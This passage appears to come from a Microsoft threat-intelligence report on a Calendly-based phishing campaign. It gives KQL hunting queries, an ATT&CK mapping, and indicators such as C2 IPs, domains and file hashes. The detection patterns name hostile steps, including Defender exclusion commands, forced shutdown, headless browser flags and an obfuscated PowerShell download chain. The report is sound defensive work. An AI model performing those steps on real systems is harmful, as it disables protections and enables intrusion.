This query correlates Defender exclusion modifications with subsequent executable launches from temporary paths within a 30-minute window. 

let exclusionEvents = 
DeviceProcessEvents 
| where FileName in~ ("powershell.exe", "pwsh.exe") 
| where ProcessCommandLine has "Add-MpPreference" and ProcessCommandLine has "-ExclusionProcess" 
| project DeviceId, DeviceName, ExclusionTime=Timestamp, ExclusionCmd=ProcessCommandLine; 
let tempExecs = 
DeviceProcessEvents 
| where FolderPath has @"\AppData\Local\Temp\" 
| where FileName endswith ".exe" or ProcessCommandLine has ".exe" 
| project DeviceId, TempExecTime=Timestamp, TempFile=FileName, TempPath=FolderPath, TempCmd=ProcessCommandLine; 
exclusionEvents 
| join kind=inner tempExecs on DeviceId 
| where TempExecTime between (ExclusionTime .. ExclusionTime + 30m) 
| project DeviceName, ExclusionTime, ExclusionCmd, TempExecTime, TempFile, TempPath, TempCmd 
| order by ExclusionTime desc

Installer or unpacker behavior using is-.tmp and silent flags 

This query identifies the campaign’s characteristic use of temporary installer files with silent execution flags. 

DeviceProcessEvents 
| where ProcessCommandLine has @"\is-" and ProcessCommandLine has ".tmp" 
| where ProcessCommandLine has_any ("/SL5", "/VERYSILENT") 
| project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc 

Registry persistence to Node.js and ProgramData 

This query detects creation or modification of Run or RunOnce values pointing to the campaign’s persistence locations. 

DeviceRegistryEvents 
| where RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\Run" 
    or RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\RunOnce" 
| where RegistryValueData has_any (@"\AppData\Local\Nodejs\", @"\ProgramData\") 
| project Timestamp, DeviceName, ActionType, RegistryKey, RegistryValueName, RegistryValueData, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Non-standard port beaconing from Node.js or suspicious user-space binaries 

This query identifies network connections on the campaign’s observed C2 ports from suspicious process locations. 

DeviceNetworkEvents 
| where RemotePort in (8443, 8445, 8453, 5555, 56001, 56002, 56003) 
| where InitiatingProcessFileName =~ "node.exe" 
    or InitiatingProcessFolderPath has @"\AppData\Local\Temp\" 
    or InitiatingProcessFolderPath has @"\AppData\Local\Nodejs\" 
    or InitiatingProcessFolderPath has @"\ProgramData\" 
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, RemoteIP, RemotePort, RemoteUrl 
| order by Timestamp desc

Wave 2 .cfd and .bond domain connections 

This query detects network connections to the campaign’s Wave 2 domain infrastructure. 

DeviceNetworkEvents 
| where RemoteUrl has_any (".cfd", ".bond", ".click") 
| where RemoteUrl has "photo-" or RemoteUrl has_any ("zloapobikahy23", "higoksbupwou", "aluminiostramuntana") 
| project Timestamp, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Browser automation and forced shutdown on previously affected hosts 

This query identifies late-stage post-compromise behavior on hosts already showing earlier campaign indicators. 

let suspiciousHosts = 
DeviceProcessEvents 
| where FileName =~ "node.exe" and FolderPath has @"\AppData\Local\Nodejs\" 
| distinct DeviceId; 
DeviceProcessEvents 
| where DeviceId in (suspiciousHosts) 
| where ProcessCommandLine has_any ("--headless", "--no-sandbox", "shutdown -s -t 0") 
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Calendly-associated notification infrastructure used in phishing delivery 

This query identifies emails from the campaign’s Calendly-associated subdomain with the characteristic display name. 

EmailEvents 
 | where SenderMailFromDomain =~ "em1618.calendly.com" 
| where SenderMailFromAddress startswith "bounces+13766497-" or SenderDisplayName has "Booking Manager" 
 | project Timestamp, NetworkMessageId, SenderFromAddress, SenderDisplayName, RecipientEmailAddress, Subject, DeliveryAction, DeliveryLocation, ThreatTypes 
 | order by Timestamp desc

share.google redirect token detection in email URLs 

This query detects emails containing share.google redirect URLs, which the campaign uses as an intermediate hop to obscure the final phishing destination. 

EmailUrlInfo 
 | where Url contains "share.google/" 
 | join kind=inner EmailEvents on NetworkMessageId 
 | where SenderMailFromDomain has "calendly" or SenderDisplayName has "Booking" 
 | project Timestamp, NetworkMessageId, SenderFromAddress, RecipientEmailAddress, Subject, Url, DeliveryAction 
 | order by Timestamp desc

Calendly redirect URL phishing detection 

This query identifies emails containing Calendly redirect URLs that match known campaign patterns, including share.google tokens or photo-*.cfd domains. 

EmailUrlInfo 
 | where Url contains "calendly.com/url?q=" 
 | where Url has_any ("share.google", "photo-", ".cfd") 
 | join kind=inner EmailEvents on NetworkMessageId 
 | project Timestamp, NetworkMessageId, SenderFromAddress, SenderDisplayName, RecipientEmailAddress, Subject, Url, DeliveryAction, AuthenticationDetails 
 | order by Timestamp desc

High-frequency file hash hunting (combined Waves 1 and 2) 

This query hunts for all known campaign file hashes across endpoint telemetry.

let hashes = dynamic([ 
    "83e970feb3f10692c164f6889f7a026f135c2433e5bf8e662a6e63a3b81267b7", 
    "06a2888c1f07119873ccb051221bd8717281494b33585f4242556e6e5e227969", 
    "04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1", 
    "1c693bcdaf1da636eb21c274b21cc2f6c52c62ddd514700783eee83fe13acb0a", 
    "2e5fd01b7949a45937b853eabcf4b03195614cf84338dcaaa97240d1c5301ddc", 
    "3f66634f103b80412d1d670b91befab2a74425d2ea76d904c4a7ffae2ae94b44", 
    "63565f15a99769bbcd527a4d53e5cc259d80e1254463ef9c878c2074685558ae", 
    "49cc0e0c3ec060fb354cacee244d4f297aaefb6db66e67a21262d6c4d2eae1bd", 
    "6580de3b74fd635a1d7a887b8f6e5b0c9ac9e90d6e20466ad41489203119cca9", 
 
    "f629311734b7c6e6579f8e1d0e1e3f3bf72c9ac6c301b631ba4df7f393c41b14", 
    "98825c0c7764f45c891275b2f038ea559e84b340df30b41c2cc77b8d4215c6c8", 
    "bd6805782df15e53581096b99bd6bbb81f4d4a5e2d2b30954df63175a4075be9", 
    "89934cb1494cf0327f0ab82fe644c74caf687814379cad116bd7adaca74c1028", 
    "1f8daffec5945a13a1e9231f4a76655d4c7ef4560d0c64ca3abfe48f38297cbd", 
    "9f10e3b6e5745784f26d18c38ce01fba054b19749c17260978ac11472564aee2", 
    "97448688b292bfec6d83b153588076fe59b111c35ac4e42a916238df16a71e2f", 
    "c5baa0c16b0074a1e94b48aa0177e9bfc23746aca8a5b42848a6685da85658b5", 
    "b7f46b192cd83a1d2487cb048cca645f6e8855b9673d500d50bbdb04eebc6bea" 
]); 
DeviceFileEvents 
| where SHA256 in (hashes) 
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Microsoft Sentinel

Microsoft Sentinel customers can use the Microsoft Defender XDR connector to ingest the above queries or leverage the Threat Intelligence Mapping analytics rule to match campaign IOCs against ingested logs. 

MITRE ATT&CK techniques 

Tactic Technique ID Technique Name Observed Activity 
Resource Development  T1583.001 Acquire Infrastructure: Domains Short-lived .cfd landing domains (photo-26653[.]cfd, photo-26656[.]cfd, photo-27857[.]cfd) are registered and rotated every 2–3 days  
T1583.006 Acquire Infrastructure: Web Services Use of Calendly account (em1618.calendly[.]com) and generated share[.]google redirect tokens to relay phishing  
T1584.006 Compromise Infrastructure: Web Services Suspected use of a compromised legitimate domain (ginrinsou[.]com) as an alternate sending relay  
Initial Access  T1566.002 Phishing: Spearphishing Link Calendly notification emails carrying redirect links (observed from late May 2026) 
T1199 Trusted Relationship Authentication laundering through Calendly’s SendGrid infrastructure 
Execution  T1204.002 User Execution: Malicious File User opens fake image LNK (IMG-/PHOTO-*.png.lnk
T1059.001 PowerShell Obfuscated bigint decoder downloads .ps1 
T1059.007 JavaScript Node.js implant executes .js payload with C2 domain 
Defense Evasion T1027 Obfuscated Files or Information Seven-phase PowerShell obfuscation evolution 
 T1027.004 Compile After Delivery csc.exe compiles .NET DLL on-target (Wave 2) 
T1036 Masquerading LNK files disguised as .png images 
T1562.001 Disable or Modify Tools Add-MpPreference exclusions for Temp EXE files 
Persistence T1547.001 Registry Run Keys / Startup Folder Dual Run (Node.js) + RunOnce (ProgramData EXE) 
Discovery T1016 System Network Configuration Discovery ip-api[.]com geolocation lookup 
Command & Control T1571 Non-Standard Port C2 on ports 8443, 8445, 8453, 5555, 56001-56003 

Indicators of compromise 

Observed C2 IPs and non-standard ports 

Indicator Type Description 
178.16.54[.]27 IP Primary — Active in both waves, ports 56001/56002 
95.217.97[.]121 IP Persistent beacon (Wave 1) 
193.202.84[.]32 IP Secondary (Wave 1) 
178.16.55[.]179 IP Additional (Wave 1) 
172.67.161[.]215 IP phishing TonRAT C2 (Cloudflare shared CDN ) 
8443, 8445, 8453 Port Non-standard C2 ports 
5555 Port Non-standard C2 port 
56001, 56002, 56003 Port Non-standard C2 ports 

Representative observed domains 

Wave 1 domains 

Indicator Type Description 
prejointl[.]info Domain C2 domain 
safedocphoto[.]info Domain C2 domain 
recallnine[.]info Domain C2 domain 
kentjerk[.]info Domain C2 domain 
photodoc-secure[.]info Domain C2 domain 
kelopins[.]info Domain C2 domain 
docstore-safe[.]info Domain C2 domain 
photosafe-hub[.]info Domain C2 domain 
dashgamein[.]info Domain C2 domain 
image-vlt[.]info Domain C2 domain 
safedoc-storage[.]info Domain C2 domain 
safe-picvault[.]info Domain C2 domain 
photo-dekor[.]xyz Domain C2 domain 
reservebookphot[.]pro Domain C2 domain 
kellystreets[.]info Domain C2 domain 
widjssij728dj[.]com Domain C2 domain 
docshub-01[.]info Domain C2 domain 
photobookadm[.]pro Domain C2 domain 
safedoc-vault[.]info Domain C2 domain 
keypmenu[.]info Domain C2 domain 
photo-box[.]info Domain C2 domain 
expedla-getphoto[.]cloud Domain C2 domain 
vertualstreak[.]info Domain C2 domain 
montagelips[.]info Domain C2 domain 
racestrech[.]info Domain C2 domain 
derbyoni[.]info Domain C2 domain 
ministrew[.]info Domain C2 domain 
visaphoto-secure[.]info Domain C2 domain 
docshub-secure[.]com Domain C2 domain 
visaimage-storage[.]icu Domain C2 domain 
lookinlip[.]info Domain C2 domain 
safephoto-vault[.]info Domain C2 domain 
kiptownim[.]info Domain C2 domain 
finallyrain[.]info Domain C2 domain 
photobook-reserv[.]pro Domain C2 domain 
bookreservphoto[.]pro Domain C2 domain 
imagestore-hub[.]info Domain C2 domain 
visaimages[.]info Domain C2 domain 
visaphoto-vault[.]info Domain C2 domain 
visa-vault[.]info Domain C2 domain 
visa-safedocs[.]info Domain C2 domain 
joincroud[.]info Domain C2 domain 
kinghoruswe[.]info Domain C2 domain 
snapkeep[.]info Domain C2 domain 
deeprace[.]info Domain C2 domain 
lestresot[.]info Domain C2 domain 
recepyman[.]info Domain C2 domain 
recstrace[.]info Domain C2 domain 
heliosup[.]info Domain C2 domain 
fairyspells[.]info Domain C2 domain 
hakeiwjs727wj[.]com Domain C2 domain 
haobbao[.]com Domain C2 domain 
dancamp[.]info Domain C2 domain 
sec-safe-dc[.]info Domain C2 domain — Active in both waves 
secure-imagehub[.]info Domain C2 domain 
doc-imagehub[.]info Domain C2 domain 
imagevault-safe[.]info Domain C2 domain 
photo-hub-io[.]info Domain C2 domain 
safevault-hub[.]info Domain C2 domain 
tripadvisor-photo-view[.]com Domain C2 domain 
photo-7216302[.]sbs Domain C2 domain 

Wave 2 domains  

Indicator Type Description 
photo-26254[.]cfd Domain  Phishing landing page   
photo-132454[.]cfd Domain  Phishing landing page   
photo-8632454[.]cfd Domain  Phishing landing page   
photo-21473[.]xyz Domain C2 domain 
photo-7216102[.]click Domain C2 domain 
zloapobikahy23[.]bond Domain C2 domain 
higoksbupwou[.]com Domain C2 domain 
aluminiostramuntana[.]com Domain C2 domain 
photo-26653[.]cfd Domain Phishing landing page 
photo-26654[.]cfd Domain Phishing landing page 
photo-26656[.]cfd Domain Phishing landing page 
photo-27857[.]cfd Domain Phishing landing page 

Microsoft has assigned malicious ratings to these domains, and they are being blocked. 

File hashes 

Indicator Type Description 
83e970feb3f10692c164f6889f7a026f135c2433e5bf8e662a6e63a3b81267b7 SHA-256 Campaign payload (Wave 1) 
06a2888c1f07119873ccb051221bd8717281494b33585f4242556e6e5e227969 SHA-256 Campaign payload (Wave 1) 
04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1 SHA-256 PE payload (xmnrwv9l.exe) — Same hash in both waves 
1c693bcdaf1da636eb21c274b21cc2f6c52c62ddd514700783eee83fe13acb0a SHA-256 Campaign payload (Wave 1) 
2e5fd01b7949a45937b853eabcf4b03195614cf84338dcaaa97240d1c5301ddc SHA-256 Campaign payload (Wave 1) 
3f66634f103b80412d1d670b91befab2a74425d2ea76d904c4a7ffae2ae94b44 SHA-256 Campaign payload (Wave 1) 
63565f15a99769bbcd527a4d53e5cc259d80e1254463ef9c878c2074685558ae SHA-256 Campaign payload (Wave 1) 
49cc0e0c3ec060fb354cacee244d4f297aaefb6db66e67a21262d6c4d2eae1bd SHA-256 Campaign payload (Wave 1) 
6580de3b74fd635a1d7a887b8f6e5b0c9ac9e90d6e20466ad41489203119cca9 SHA-256 Campaign payload (Wave 1) 
da4b72764ae929050353f3da759c839e2a061a8b9a8dd3c3b2e909d4a8a3291c SHA-256 Campaign payload (Wave 1) 
f629311734b7c6e6579f8e1d0e1e3f3bf72c9ac6c301b631ba4df7f393c41b14 SHA-256 Campaign payload (Wave 1) 
98825c0c7764f45c891275b2f038ea559e84b340df30b41c2cc77b8d4215c6c8 SHA-256 Campaign payload (Wave 1) 
bd6805782df15e53581096b99bd6bbb81f4d4a5e2d2b30954df63175a4075be9 SHA-256 Campaign payload (Wave 1) 
89934cb1494cf0327f0ab82fe644c74caf687814379cad116bd7adaca74c1028 SHA-256 Campaign payload (Wave 1) 
1f8daffec5945a13a1e9231f4a76655d4c7ef4560d0c64ca3abfe48f38297cbd SHA-256 Campaign payload (Wave 1) 
9f10e3b6e5745784f26d18c38ce01fba054b19749c17260978ac11472564aee2 SHA-256 IMG-386443483.png.lnk (Wave 2) 
97448688b292bfec6d83b153588076fe59b111c35ac4e42a916238df16a71e2f SHA-256 PHOTO-215746435.png.lnk (Wave 2) 
c5baa0c16b0074a1e94b48aa0177e9bfc23746aca8a5b42848a6685da85658b5 SHA-256 qFWe908J.ps1 (419 KB, Wave 2) 
b7f46b192cd83a1d2487cb048cca645f6e8855b9673d500d50bbdb04eebc6bea SHA-256 bjygtujc.dll (3,072 bytes, compiled .NET, Wave 2) 
d14ba95cdce1ef7dc9ad3ac74949ca5db38b27378ee30f30a23cf26f9e875a11 SHA-256 node.exe (v24.13.0-win-x64, 89.9 MB) 

Key behavioral patterns 

Indicator Type Description 
Pattern A Behavior Obfuscated PowerShell downloader: BigInt decoder → iwr → .ps1 
Pattern B Behavior .NET DLL compilation: csc.exe → cvtres.exe → <random>.dll (Wave 2) 
Pattern C Behavior Node.js implant: node.exe <random>.js <domain> 
Pattern D Behavior Defender exclusion: Add-MpPreference -ExclusionProcess 
Pattern E Behavior Temp EXE execution: Numerous random filenames 
Pattern F Behavior Installer or unpacker: *.tmp with /SL5 or /VERYSILENT 
Pattern G Behavior ProgramData copy: Lowercase, same hash 
Pattern H Behavior RunOnce loop persistence: Value refreshed after each execution 
Pattern I Behavior Browser automation: –headless –no-sandbox 
Pattern J Behavior Forced shutdown: cmd /c shutdown -s -t 0 
Pattern K Behavior Persistence survival: Node.js Run key survives Defender PE block 
Pattern L Behavior Authentication laundering: Direct-path Calendly email passes SPF/DKIM/DMARC/CompAuth (share.google variant fails authentication) 
Pattern M   Behavior Multi-hop redirect: Calendly → share.google → Google → photo-*.cfd 
Pattern N Behavior Domain rotation: photo-*.cfd domains with ~2–3 day lifespan 

References 

This research is provided by Microsoft Defender Security Research,  Parth Jamodkar, and with contributions from members of Microsoft Threat Intelligence.

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